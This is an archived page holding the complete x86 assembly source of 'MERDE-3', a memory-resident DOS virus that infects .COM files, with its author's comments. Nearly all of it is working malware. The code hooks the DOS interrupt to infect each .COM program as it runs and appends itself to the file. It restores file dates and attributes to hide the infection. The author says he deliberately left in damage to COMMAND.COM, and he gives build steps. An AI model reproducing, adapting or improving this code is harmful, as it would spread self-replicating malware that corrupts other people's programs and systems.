home *** CD-ROM | disk | FTP | other *** search
- ; MERDE-3: A resident, non-overwriting .Com infector by the loki-nator
-
- ;Well, here it is, for what it's worth.. It is really kind of a
- ;piece of crap, but it is just a rough draft..
- ;NOTES:
- ; If this gets into Command.Com, it (command) won't work for unknown reasons..
- ; I could have fixed it by just checking to make sure the file it is infecting
- ; isn't command.com, but I decided that this would be it's harmful side effect
- ; and left it... I will have to fix several things in it, like its memory
- ; handling, etc... It only infects files when they are loaded for EXECUTION!
- ; it won't infect .com files loaded by debug via AX=4b03, or al=anything
- ; except 00.... Also, it hooks int 71 for its own type of multiplex
- ; interrupt to check if the resident portion is already installed..
- ; I don't know if that will get me in trouble or not. This is not very well
- ; tested, so it may hand under some circumstances or ill-behaved programs
- ; that mess with the memory (like I did)... Well, I need to add .exe
- ; infection, or I will be just a wanna-be virus writer!
- ; At this very moment, I will probably modify it for infection of any function
- ; that gives INT 21 a DS:DX pointer to a com file.
- ; Oh, yeah- If you compile it, you have to run the included Maker.bat file
- ; after you have compiled it (Use Tasm, but I guess anything will work.)
-
- ; Any GOOD virus writers out there will obviously notice how inefficient this
- ; is, so if you do, leave me mail with some pointers....
-
- compare_val equ 900
- interrupt equ 21h
- Code_seg Segment Byte
- Assume DS:Code_seg, CS:Code_seg
- ORG 100h
- start: mov di,0100h ;di=start
- mov si,bx
- add si,offset five_bytes-100h
- mov cx,5
- rep movsb
- int 71h
- cmp ax,9999h
- jne okay
- mov ax,0100h
- xor si,si
- xor si,di
- xor cx,cx
- jmp ax
- okay: mov di,bx
- sub di,100h
- xor ax,ax
- mov es,ax
- mov ax,es:[interrupt*4]
- mov bx,es:[interrupt*4+2]
- mov [di+int_21_saveo],ax
- mov [di+int_21_saves],bx
- push cs
- pop es
- mov [di+orig_stackp],sp
- cli
- mov sp,di
- add sp,offset my_stack
- sti
- push ax
- push bx
- push cx
- push dx
- push bp
- push ds
- push es
- push si
- push di
- mov [di+my_stack_save],sp
- cli
- mov sp,[di+orig_stackp]
- sti
- int 12h
- mov bx,cs
- mov cx,1024
- mul cx
- clc
- mov cx,400h
- sub ax,cx
- sbb dx,0000 ;dx:ax=where we want this mem to end!
- mov [di+high_ram],dx
- mov [di+low_ram],ax
- here: mov cx,cs
- mov ax,0010h
- mul cx
- clc
- mov cx,di
- add cx,offset ending
- add ax,cx
- adc dx,0000
- clc
- sub [di+low_ram],ax
- sbb [di+high_ram],dx
- clc
- mov ax,[di+low_ram]
- mov dx,[di+high_ram]
- mov cx,0010h
- div cx ;dx:ax=memory above this-divide it by 16
- mov bx,ax
- mov ah,4ah
- int 21h
- jnc okay_1
- jmp get_out
- okay_1: mov ah,48h
- mov bx,60h
- int 21h
- mov [my_segment+di],ax
- jnc okay_2
- jmp get_out
- okay_2: push di
- xor di,di
- xor si,si
- mov es,ax
- mov cx,100h
- rep movsb
- pop si
- push si
- add si,100h
- mov cx,offset ending-100h
- rep movsb
- pop di
- mov dx,es
- sub dx,1
- mov es,dx
- mov es:[1],ax
- mov byte ptr es:[0],'Z'
- mov word ptr es:[3],0000
- mov es,ax
- mov es:[16h],ds
- mov ax,offset return_to_file
- add ax,di
- mov es:[0ah],ax
- mov es:[0ch],ds
- mov ah,50h
- mov bx,es
- int 21h
- mov dx,600h
- mov ax,es
- mov ds,ax
- mov es,ax
- push cs
- pop ss
- mov word ptr cs:[return_to_file+di+1],di
- mov sp,600h
- int 27h
- return_to_file:
- mov di,0000
- xor ax,ax
- mov es,ax
- mov bx,offset my_21
- mov ax,cs:[di+my_segment]
- mov word ptr es:[interrupt*4],bx
- mov word ptr es:[interrupt*4+2],ax
- mov word ptr es:[71h*4+2],ax
- mov bx,offset my_71
- mov word ptr es:[71h*4],bx
- mov ax,cs
- cli
- mov ss,ax
- mov sp,cs:[my_stack_save+di]
- sti
- pop di
- pop si
- pop es
- pop ds
- pop bp
- pop dx
- pop cx
- pop bx
- pop ax
- cli
- mov sp,cs:[di+orig_stackp]
- sti
- mov ax,0100h
- jmp ax
- get_out:
- mov ax,cs
- cli
- mov ss,ax
- mov sp,cs:[di+my_stack_save]
- sti
- pop di
- pop si
- pop es
- pop ds
- pop bp
- pop dx
- pop cx
- pop bx
- pop ax
- cli
- mov sp,cs:[di+orig_stackp]
- sti
- mov ax,0100h
- jmp ax
-
-
- ;------------------------------------------------------------------
-
- my_21:
- cmp ah,4bh
- je continue_with_it
- jmp continue_21
- continue_with_it:
- cmp al,00
- je okay_go
- jmp continue_21
- okay_go:
- push ax
- push bx
- push cx
- push dx
- push es
- push di
- push si
- push bp
- push es
- push ds
- check_file:
- mov bx,dx
- xor si,si
- looper:
- cmp byte ptr ds:[bx+si],'.'
- je check_com
- cmp si,35
- jle okay5
- jmp give_up1
- okay5: inc si
- jmp looper
- check_com:
- inc si
- cmp byte ptr ds:[bx+si],'c'
- je check_for_infection
- cmp byte ptr ds:[bx+si],'C'
- je check_for_infection
- jmp give_up1
- check_for_infection:
- mov cs:[high_file],ds
- mov cs:[low_file],dx
- mov ah,50h ;set PSP to ours
- push cs
- pop bx
- call dos_21
- mov ah,43h
- xor al,al
- call dos_21
- jnc okay9
- jmp give_up
- okay9: mov cs:[attrib],cx
- mov ah,43h
- mov al,1
- xor cx,cx
- call dos_21
- mov ah,3dh
- mov al,2
- call dos_21
- jnc okay10
- jmp give_up
- okay10: mov cs:[handle],ax
- mov bx,ax
- mov ah,57h
- xor al,al
- call dos_21
- mov cs:[date],dx
- mov cs:[time],cx
- mov al,2
- mov ah,42h
- xor dx,dx
- xor cx,cx
- call dos_21
- jnc okay11
- jmp give_up
- okay11: cmp dx,0
- je okay12
- jmp give_up
- okay12: mov cs:[file_size],ax
- cmp ax,64000
- jb contin1
- call reset_all
- jmp give_up
- contin1:
- cmp ax,1024
- jnb contin2
- call reset_all
- jmp give_up
- contin2:
- sub ax,compare_val
- mov dx,ax
- xor cx,cx
- mov ah,42h
- xor al,al
- mov bx,cs:[handle]
- call dos_21
- mov ah,3fh
- push cs
- pop ds
- mov dx,offset buffer
- mov cx,2
- call dos_21
- mov ax,word ptr cs:[buffer]
- mov bx,word ptr cs:[offset ending-compare_val]
- cmp ax,bx
- jne infect_it
- call reset_all
- jmp give_up
- infect_it:
- xor cx,cx
- xor dx,dx
- mov bx,cs:[handle]
- mov ax,4200h
- call dos_21
- mov ah,3fh
- mov cx,5
- push cs
- pop ds
- mov dx,offset five_bytes
- call dos_21
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- call dos_21
- mov ax,cs:[file_size]
- add ax,100h
- mov word ptr cs:[jumper+1],ax
- mov ah,40h
- mov cx,offset ending-100h
- mov dx,0100h
- call dos_21
- xor cx,cx
- xor dx,dx
- mov ax,4200h
- mov bx,cs:[handle]
- call dos_21
- mov dx,offset jumper
- mov ah,40h
- mov cx,5
- call dos_21
- call reset_all
- give_up:
- mov ah,50h
- mov bx,cs:[high_file]
- call dos_21
- give_up1:
- pop ds
- pop es
- pop bp
- pop si
- pop di
- pop es
- pop dx
- pop cx
- pop bx
- pop ax
- jmp continue_21
- continue_21:
- jmp dword ptr cs:[int_21_saveo]
- dos_21:
- pushf
- call dword ptr cs:[int_21_saveo]
- ret
-
- reset_all:
- mov bx,cs:[handle]
- mov cx,cs:[time]
- mov dx,cs:[date]
- mov ax,5701h
- call dos_21
- mov ah,3eh
- mov bx,cs:[handle]
- call dos_21
- mov ah,43h
- mov al,1
- mov cx,cs:[attrib]
- mov ds,cs:[high_file]
- mov dx,cs:[low_file]
- call dos_21
- ret
- my_71:
- mov ax,9999h
- iret
- dw 44 dup(00)
- my_stack:
- jumper: mov bx,0000
- jmp bx
- file_size dw 0000
- high_file dw 0000
- low_file dw 0000
- handle dw 0000
- attrib dw 0000
- date dw 0000
- time dw 0000
- int_21_saveo dw 0000
- int_21_saves dw 0000
- orig_stackp dw 0000
- my_stack_save dw 0000
- high_ram dw 0000
- low_ram dw 0000
- my_segment dw 0000
- buffer: db 10 dup(00)
- five_bytes: db 0cdh,20h,90h,90h,90h
- my_little_message_to_the_world:
-
- db 'Scan me, I LIKE IT!!!!-Loki-nator!'
- ending:
- Code_seg ENDS
- END start